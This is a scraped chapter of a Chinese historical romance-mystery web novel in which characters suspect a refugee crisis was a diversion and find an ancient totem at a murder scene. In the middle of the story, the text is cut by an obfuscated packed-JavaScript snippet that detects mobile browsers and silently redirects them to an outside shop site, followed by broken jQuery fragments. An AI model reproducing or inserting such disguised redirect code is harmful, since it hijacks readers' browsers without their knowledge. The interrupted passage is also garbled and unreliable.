文趣网 > 其他小说 > 边关霜寒入夜声 > 71.抽丝剥茧
    梁太后听闻此事,对他们的决定也表示赞同,但眼下还多了个穆少安,他有些拿不定主意。

    “你们先回,我安抚好他便走。”梁太后看着李显说道。

    不用细讲,他们都知道梁太后指的这个“他”是谁。

    宁月选择沉默,李显则说,“既如此,那我们就先走。瑞芝姑姑是与我们一道还是……”

    “自然是与我一起。”梁太后接道,随后又说,“你们无需担心我。”

    话都说到这份上,李显自是不能再说什么,他拉起宁月的手,对着梁太后道,“那母亲,您保重。”

    二人离开了客栈,瑞芝站在一旁,看着梁太后,默默上前蹲下,仰视着她,说道,“小姐,你这又是何必呢,跟着陛下一起离开不好吗?”

    梁太后摇摇头,对她说道,“宸启那边还有许多事等着他去处理,我若跟他一起走,很可能半道就遇袭了,能否安然无恙地回到宸启都尚未可知。”

    只有她留在这里,北夷才不会对宸启有所行动。

    说罢,她拍拍瑞芝的手,说道,“倒是苦了你了,要陪我在这里……”

    “小姐说的哪里话,能陪在小姐身边,是大幸。”主仆二人相互看了对方一眼,所有情绪尽在不言中。

    *

    将信寄出后,姜菀把自己关在房中,仔细做了个复盘。

    从穆宁真带她到北夷的第一天,到现在,这中间发生的所有事,都仿佛被人安排好的一局棋。

    但她始终想不明白,是谁在背后下这局棋。

    到北夷之后的事她清楚,但在淮安发生的事,她并不清楚。

    于是她喊了江易陵进来。

    “糯糯呢?”她张口便问。

    “岳母在陪他玩。”江易陵随手关上门,问道,“你喊我来可是有什么想问的?”

    姜菀点点头,直言道,“淮安的流民是从何时涌入的?”为何集中到淮安,不去汴京,不去安阳,偏偏是淮安呢?

    “就在你到北夷没多久,而且,朝廷内也有官员上奏此事,陛下亲自来淮安,但是岳父掌管商会,拒不降价,陛下便在姜府小居了些时日,想着看看有没有其他突破口。”

    他顿了顿,继续说道,“但我因为寻你心切,当着岳父岳母的面拆穿了陛下的真实身份,再后来,陛下派我去北夷打探情况,这之后的事你便都知道了。”

    是啊,这之后的事她都知道,但她总觉得漏掉了什么东西。

    首先,姜家在北夷的商队消失了,初步猜测是被那个叫阿瓦里的北夷人杀害了,而她当时在北夷,亲眼见到这个阿瓦里追杀她与穆宁真。

    之后,她与穆宁真入了王庭,答应成为他的王妃并且生下了糯糯,可中途,她发现自己割舍不下的人太多,还是选择和江易陵一起回了淮安。

    她想要离开,宁月和李显却到了北夷。

    两方就这样互换,她回到了宸启,而他们留在了北夷。

    但奇怪的是,她回到淮安后,也就只发生了于雪莲那一件事,流民问题好像并没有那么严重。

    现在陛下与梁太后都不在宫中,甚至不在宸启,难道……这个流民事件从头到尾只是为了调虎离山?

    *

    宁月和李显并没有坐马车,而是共乘一匹马。

    这样不仅省时省力,还不容易被人发现,宁月在背后抱紧他的腰,整个人靠在他身上。

    一路颠簸,中途只换了两匹马,全靠随身携带的干粮充饥。

    进入宸启境内后,宁月便跟李显说,“你回汴京,我去淮安。”

    李显早有预料,并没多说什么,只问道,“可随身带着我给你戴玉牌?”

    宁月点头,“放心,一直带着呢。”

    李显见状,没再说什么,他下马,顺手把她也抱了下来,等宁月站稳,李显轻轻吻了一下她的额头。

    “保护好自己,解决完后早些回汴京。我会派龙鹤军来接你。”他有些不放心,总有一种患得患失的感觉。

    “不必,现在汴京群狼环伺,切不可为了我浪费兵力。”龙鹤军作为皇帝的私兵,某种程度上也代表了宸启最后一道防线。

    若让别人知道,龙鹤军专程来接她一个八品小官,恐怕又要落人口实。

    李显想了想,终究没再强求,“马留给你,我稍后再去买一匹,就让我看着你走吧。”她这一走,不知道何时才能再见面,他不忍心让她看着自己离去的背影。

    宁月闻言,压下心中的酸楚,仰头对他笑道,“好。”

    她没有告诉他何时会去找他,因为没有必要,等查完流民的事情,她就会离开。

    直到宁月的身影渐行渐远,李显才看向一旁,吹了个口哨。

    暗卫来到他的身边,恭敬问道,“陛下有何吩咐?”

    “盯着她,不论她做什么,都要传信与我。”他吩咐道。

    暗卫领命后离开,李显一个人独自去买马,天色渐渐沉下来,好似有什么道不明的心事。

    *

    姜菀推测出流民事件是一个调虎离山的计谋后,便写了封信,打算寄给宁月,可谁知始终召不出信鸽。

    她正苦恼不已,家丁却把一个人领到了她面前。

    “姜姑娘。”宁月开口唤她。

    姜菀一抬头,眼中是无法忽略的惊喜,她一把抱住宁月,开心道,“你从北夷回来了!那陛下是不是也回来了?”

    宁月点头,并告知她,“此次只有陛下和我回来了,太后娘娘留在了北夷。”

    “为什么?”

    姜菀有些不理解,既然早晚要回来,早与晚又有什么区别?

    姜菀笑笑,说了句,“太后娘娘可能还有些没解决完的事。”

    这样一说,姜菀便不再追问,而是与她说了自己的推测,还有那件人皮画的事。

    由于她没在信中提过人皮画的事,宁月颇感惊讶,问道,“你确定,是人皮画?”

    “是啊,而且我还能肯定,那张人皮,是我姜家商队的人。”

    宁月倒没有不相信她的意思,而是这人皮画的风俗,起源于一个古老国度“些拜”。

    “你确定那个阿瓦里是北夷人?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758319|206243||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    姜菀心道:这能怎么确定?北夷人都生得魁梧高大,且力大无穷。单从外貌来看,那个阿瓦里也都符合啊……

    看她的表情,宁月便知道她无法确定。

    心中有了思忖,她道,“你可否带我去刘府看一看?”或许这刘府中,还遗漏了什么线索。

    姜菀觉得她所言有道理,便安排人带着她去了刘府。

    这里与姜菀来时没什么不同,她推开大门,领着姜菀准备进去,却被扯住衣袖,“安排几个家丁随我们一起,以免有什么意外。”

    姜菀答应了,随即喊了六个人过来,剩下四个留在府外。

    一行人进入府内,姜菀为宁月讲解,“你别看他这府内没什么值钱的物件,实则不然,他这里的每一处造景都价值不菲……”

    宁月边听边点头,她仔细将府内走了个遍,随后在小阁楼下停住脚,问道,“刘安和那另一具尸体,死在哪里?”

    姜菀还真不清楚,她当时想走过去看一眼,却被江易陵拦住。

    “若我没记错,应当是间厢房。”随后,她指了指那个方向,宁月往前走,姜菀慢悠悠跟在她身后。

    “你很害怕?”宁月察觉到她的踌躇,回头问道。

    “哈哈,也不是啦,就是……有点晦气。”她吐了吐舌头,对着宁月解释。

    宁月闻言一笑,权当她说的是真心话,伸手拉住她快步往前去。

    姜菀闭上眼睛,在心中默念了无数遍阿弥陀佛。

    终于,二人来到了厢房前,姜菀慢慢睁眼,对她道,“就……就是这里。”当时县衙的人就守在这里。

    这才过了几日,屋内依旧干净整洁,并没有积下多少灰。

    宁月在屋内边走边看,姜菀紧跟其后。她当时并没有进入,不知道屋内具体是什么情况,是以,一下便坐在了放过那具蓝衣尸体的榻上。

    等反应过来时,她的衣衫处已经脏了一大片,“这……这是什么东西?”她不停地抖落,却发现抖不掉。

    宁月被她的喊声惊动,也赶忙走过来查看。

    “怎么了?”宁月问她。

    姜菀背过去给她看,“你看我后面,是不是沾上了什么东西?”她虽然看不清,但总感觉后面脏兮兮的。

    宁月喊她,“不要动……”姜菀被吓住了,立马不动了。

    姜菀的后面确实有东西,但却不是什么脏东西,而是一幅图腾。

    “好了没有,你看到了吗?”姜菀唤她,继而道,“看到了便帮我清理一下,这样回去被他们看见免不得又要挨训。”

    姜菀絮絮叨叨许久,依旧没听到宁月的声音。

    她是真的有些害怕了,“宁月……我……这背后到底沾上了什么?”

    宁月回答她,“是一个图腾。”

    “图……图腾?什么鬼啊!这衣服我不穿了!”说着,她脱下外衫,连忙朝外跑去。

    宁月不打算追出去,她拾起地上的外衫,抖开来,摊在手心,借着窗户透过来的光线仔细打量着。

    这图腾,好像是那个古老国度,些拜。